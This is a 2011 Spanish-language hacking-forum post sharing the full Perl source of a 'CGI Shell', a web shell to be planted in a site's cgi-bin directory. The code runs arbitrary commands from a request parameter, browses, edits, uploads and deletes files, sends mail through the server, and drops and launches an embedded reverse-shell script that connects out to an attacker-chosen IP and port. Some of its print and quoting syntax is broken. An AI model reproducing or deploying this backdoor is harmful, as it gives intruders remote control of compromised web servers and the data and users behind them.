elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Security Series.XSS. [Cross Site Scripting]


+  Foro de elhacker.net
|-+  Programación
| |-+  Scripting
| | |-+  [Perl] CGI Shell
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [Perl] CGI Shell  (Leído 1,741 veces)
BigBear


Desconectado Desconectado

Mensajes: 545



Ver Perfil
[Perl] CGI Shell
« en: 14 Octubre 2011, 15:27 pm »

Hola a todos

Hoy eh terminado de hacer un shell en cgi , estas shells se usan en las paginas que pemiten ejecutar archivos cgi y tienen el directorio cgi-bin

Esta shell tiene las sig opciones

* Listar directorios
* Ver y editar archivos
* Eliminar archivos y directorios
* ReverseShell
* Subir archivos a un directorio especificado
* Ejecutar comandos
* Enviar mails

Código
  1. #!"\xampp\perl\bin\perl.exe"
  2. #
  3. #CGI Shell 0.1
  4. #
  5. #(C) Doddy Hackman 2011
  6. #
  7. #
  8.  
  9. use CGI;
  10. use Cwd;
  11. use HTML::Entities;
  12. use Net::SMTP;
  13.  
  14. my %rta;
  15.  
  16. my $que = new CGI;
  17. my @ques = $que->param;
  18.  
  19. for(@ques) {
  20. $rta{$_} = $que->param($_);
  21. }
  22.  
  23.  
  24. print "Content-type:text/html\n\n";
  25.  
  26. <style type=text/css>
  27.  
  28.  
  29. .main {
  30. margin : -287px 0px 0px -490px;
  31. border : White solid 1px;
  32. BORDER-COLOR: #00FF00;
  33. }
  34.  
  35.  
  36. #pie {
  37. position: absolute;
  38. bottom: 0;
  39. }
  40.  
  41. body,a:link {
  42. background-color: #000000;
  43. color:#00FF00;
  44. Courier New;
  45. cursor:crosshair;
  46. font-size: small;
  47. }
  48.  
  49. input,table.outset,table.bord,table,textarea,select {
  50. font: normal 10px Verdana, Arial, Helvetica,
  51. sans-serif;
  52. background-color:black;color:#00FF00;
  53. border: solid 1px #00FF00;
  54. border-color:#00FF00
  55. }
  56.  
  57. a:link,a:visited,a:active {
  58. color: #00FF00;
  59. font: normal 10px Verdana, Arial, Helvetica,
  60. sans-serif;
  61. text-decoration: none;
  62. }
  63.  
  64. </style>
  65.  
  66. <title>CGI Shell (C) Doddy Hackman 2011</title>
  67. <h2><center>CGI Shell</center></h2>
  68.  
  69. ";
  70.  
  71. if ($rta{'filex'}) {
  72.  
  73. open FILE ,">>".$rta{'todir'}."/".$rta{'filex'};
  74. while($bytes = read($rta{'filex'},$todo, 1024)) {
  75. print FILE $todo;
  76. }
  77. close FILE;
  78.  
  79. print "<script>alert('File Uploaded');</script>";
  80.  
  81. }
  82.  
  83. if ($rta{'codefile'}) {
  84.  
  85. unlink($rta{'filecode'});
  86.  
  87. open (FILE,">>".$rta{'filecode'});
  88. print FILE $rta{'codefile'}."\n";
  89. close FILE;
  90.  
  91. print "<script>alert('File Changed');</script>";
  92.  
  93. }
  94.  
  95. if ($rta{'loadfile'}) {
  96. print "<form action='' method=POST>";
  97. print "<br><h2><center>File ".$rta{'loadfile'}."</h2></center><br><br>";
  98.  
  99. if (-f $rta{'loadfile'}) {
  100.  
  101. print "<center><textarea name=codefile cols=70 rows=70>";
  102.  
  103. open (FILE,$rta{'loadfile'});
  104. @words = <FILE>;
  105. close FILE;
  106.  
  107. for (@words) {
  108. print HTML::Entities::encode($_);
  109. }
  110. </textarea></center>
  111. <input type=hidden name=filecode value=".$rta{'loadfile'}.">
  112. <br><br><center><input type=submit value=Save></center><br><br>
  113. </form>
  114. ";
  115.  
  116. exit(1);
  117. }
  118. }
  119.  
  120. <br><br>
  121. <b>Console</b>
  122. <br><br>
  123. <fieldset>";
  124.  
  125.  
  126. if ($rta{'cmd'}) {
  127. print qx($rta{'cmd'});
  128. }
  129.  
  130. elsif ($rta{'mail'}) {
  131.  
  132. my $send = Net::SMTP->new("localhost",Hello => "localhost",Timeout=>10) or die("[-] Error");
  133. $send->mail($rta{'mail'});
  134. $send->to($rta{'to'});  
  135. $send->data();
  136. $send->datasend("To:".$rta{'to'}."\n"."From:".$rta{'mail'}."\n"."Subject:".$rta{'subject'}."\n".$rta{'body'}."\n\n");
  137. $send->dataend();
  138. $send->quit();
  139.  
  140. }
  141.  
  142.  
  143. elsif ($rta{'loadir'}) {
  144.  
  145. if (-d $rta{'loadir'}) {
  146.  
  147. opendir DIR,$rta{'loadir'};
  148. my @archivos = readdir DIR;
  149. close DIR;
  150.  
  151. for(@archivos) {
  152. if (-d $_) {
  153. print "<b>".$_."</b><br>";
  154. } else {
  155. print $_."<br>";
  156. }}}}
  157.  
  158. elsif (-f $rta{'delfile'}) {
  159. if (unlink($rta{'delfile'})) {
  160. print "<script>alert('File Deleted');</script>";
  161. } else {
  162. print "<script>alert('Error');</script>";
  163. }
  164. }
  165.  
  166. elsif (-d $rta{'deldir'}) {
  167. if (rmdir($rta{'deldir'})) {
  168. print "<script>alert('Directory Deleted');</script>";
  169. } else {
  170. print "<script>alert('Error');</script>";
  171. }
  172. }
  173.  
  174. elsif ($rta{'ipconnect'}) {
  175.  
  176. $code = '
  177. #!usr/bin/perl
  178. #Reverse Shell 0.1
  179. #By Doddy H
  180.  
  181. use IO::Socket;
  182.  
  183. print "\n== -- Reverse Shell 0.1 - Doddy H 2010 -- ==\n\n";
  184.  
  185. unless (@ARGV == 2) {
  186. print "[Sintax] : $0 <host> <port>\n\n";
  187. exit(1);
  188. } else {
  189. print "[+] Starting the connection\n";
  190. print "[+] Enter in the system\n";
  191. print "[+] Enjoy !!!\n\n";
  192. conectar($ARGV[0],$ARGV[1]);
  193. tipo();
  194. }
  195.  
  196. sub conectar {
  197. socket(REVERSE, PF_INET, SOCK_STREAM, getprotobyname("tcp"));
  198. connect(REVERSE, sockaddr_in($_[1],inet_aton($_[0])));
  199. open (STDIN,">&REVERSE");
  200. open (STDOUT,">&REVERSE");
  201. open (STDERR,">&REVERSE");
  202. }
  203.  
  204. sub tipo {
  205. print "\n[*] Reverse Shell Starting...\n\n";
  206. if ($^O =~/Win32/ig) {
  207. infowin();
  208. system("cmd.exe");
  209. } else {
  210. infolinux();
  211. #root();  
  212. system("export TERM=xterm;exec sh -i");
  213. }
  214. }
  215.  
  216. sub infowin {
  217. print "[+] Domain Name : ".Win32::DomainName()."\n";
  218. print "[+] OS Version : ".Win32::GetOSName()."\n";
  219. print "[+] Username : ".Win32::LoginName()."\n\n\n";
  220. }
  221.  
  222. sub infolinux {
  223. print "[+] System information\n\n";
  224. system("uname -a");
  225. print "\n\n";
  226. }
  227.  
  228. #The End
  229. ';
  230.  
  231. if ($^O =~/Win32/ig) {
  232. open (FILE,">>"."back.pl");
  233. chmod("back.pl","777");
  234. } else {
  235. open (FILE,">>"."/tmp/back.pl");
  236. chmod("/tmp/back.pl","777");
  237. }
  238.  
  239. print FILE $code;
  240. close FILE;
  241.  
  242. if ($^O == "MSWin32") {
  243. system("back.pl ".$rta{'ipconnect'}." ".$rta{'port'});
  244. } else {
  245. system("cd /tmp;back.pl ".$rta{'ipconnect'}." ".$rta{'port'});
  246. }
  247. } else {
  248.  
  249. opendir DIR,getcwd();
  250. my @archivos = readdir DIR;
  251. close DIR;
  252.  
  253. for(@archivos) {
  254. if (-d $_) {
  255. print "<b>".$_."</b><br>";
  256. } else {
  257. print $_."<br>";
  258. }}
  259.  
  260. }
  261.  
  262. print "</fieldset>
  263. <br><br>
  264. <form action='' method=GET>
  265. <b>Command</b> : <input type=text name=cmd size=100 value=ver><input type=submit value=Send><br>
  266. </form>
  267. <form action='' method=GET>
  268. <B>Load directory</B> : <input type=text size=100 name=loadir value=".getcwd()."><input type=submit value=Load>
  269. </form>
  270. <form action='' method=GET>
  271. <b>Load File</b> : <input type=text size=100 name=loadfile value=".getcwd()."><input type=submit value=Load>
  272. </form>
  273. <form action='' method=GET>
  274. <b>Delete File</b> : <input type=text size=100 name=delfile value=".getcwd()."><input type=submit value=Del>
  275. </form>
  276. <form action='' method=GET>
  277. <b>Delete Directory</b> : <input type=text size=100 name=deldir><input type=submit value=Del>
  278. </form>
  279. <form enctype='multipart/form-data' method=POST>
  280. <br><b>Upload File</b> : <input type=file name=filex><br><br>
  281. <b>To dir</b> : <input type=text name=todir value=".getcwd()."><br><br>
  282. <input type=submit value=Upload>
  283. </form>
  284. <br><B>Mailer</b><br><br>
  285. <form action='' method=GET>
  286. <b>Mail</b> : <input type=text name=mail><br>
  287. <b>To</b> : <input type=text name=to><br>
  288. <b>Subject</B> : <input type=text name=subject><br>
  289. <B>Body</B> : <input type=text name=body><br><br>
  290. <input type=submit value=Send>
  291. </form>
  292. <br><br><b>ReverseShell</b><br><br>
  293. <form action='' method=GET>
  294. <b>IP</B> : <input type=text name=ipconnect><br>
  295. <b>Port</B> : <input type=text name=port><br>
  296. <br><input type=submit value=Connect></form><br><br>
  297.  
  298. ";
  299.  
  300.  
  301. # ¿ The End ?


En línea

Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Shell.php a shell en ruby
Nivel Web
madridserginho 1 4,169 Último mensaje 10 Julio 2009, 11:27 am
por Ivanchuk
Libros de Perl online [PERL]
Scripting
madpitbull_99 0 3,840 Último mensaje 18 Mayo 2011, 21:49 pm
por madpitbull_99
Una shell parecida a Shell Dark2.0
Análisis y Diseño de Malware
GeorgeEcuador 3 3,154 Último mensaje 11 Agosto 2011, 22:51 pm
por [Zero]
[Perl] Reverse Shell By Doddy
Scripting
BigBear 0 1,685 Último mensaje 8 Octubre 2011, 16:55 pm
por BigBear
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines